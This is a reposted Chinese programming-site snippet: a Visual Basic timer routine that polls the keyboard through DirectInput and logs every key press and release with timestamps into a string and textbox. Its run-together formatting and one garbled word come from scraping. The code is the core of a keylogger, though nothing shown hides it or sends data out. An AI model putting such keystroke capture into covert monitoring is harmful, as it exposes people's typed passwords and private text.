vb键盘记录

vb键盘记录,第1张

概述Private Sub Timer1_Timer()' DX键盘记录'On Error Resume NextStatic keyArray(255) As ByteDim key_count As Integer, vKeyCode As Integer, vKeyASC As StringDI_Keyboard.GetDeviceStateKeyboard key_state  '轮询键盘,并

Private Sub Timer1_Timer()' DX键盘记录'On Error Resume NextStatic keyArray(255) As ByteDim key_count As Integer,vKeyCode As Integer,vKeyASC As StringDI_Keyboard.GetDeviceStateKeyboard key_state '轮询键盘,并把键盘输入保存到key_state结构中For key_count = 0 To 255 If keyArray(key_count) <> key_state.Key(key_count) Then '判断是否有键被按下或d起,key_count代表的是被按下的键的扫描码 vKeyCode = MapVirtualKey(key_count,1) '扫描码转虚拟码 vKeyASC = Chr(MapVirtualKey(vKeyCode,2)) '虚拟码转换为ASCII字符 If vKeyASC <> Chr(0) Then If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then vKeyASC = UCase(vKeyASC) '根据大小写锁定键判断大小写 Else vKeyASC = LCase(vKeyASC) End If If vKeyASC = " " Then vKeyASC = "【空格】" Else vKeyASC = "【" & CStr(vKeyCode) & "】" '如果是不能显示的键,则直接显示虚拟码 End If If key_state.Key(key_count) = 0 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是d起(up) DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " " '存储按键,以空格为分隔符 DataKeyCacheDXMore = DataKeyCacheDXMore & Now() & "|" '存储按键时间信息,以|为分隔符 Text1.Text = DataKeyCacheDX End If keyArray(key_count) = key_state.Key(key_count)NextEnd Sub

总结

以上是内存溢出为你收集整理的vb键盘记录全部内容,希望文章能够帮你解决vb键盘记录所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://www.outofmemory.cn/langs/1293164.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-10
下一篇 2022-06-10

发表评论

登录后才能评论

评论列表(0条)

保存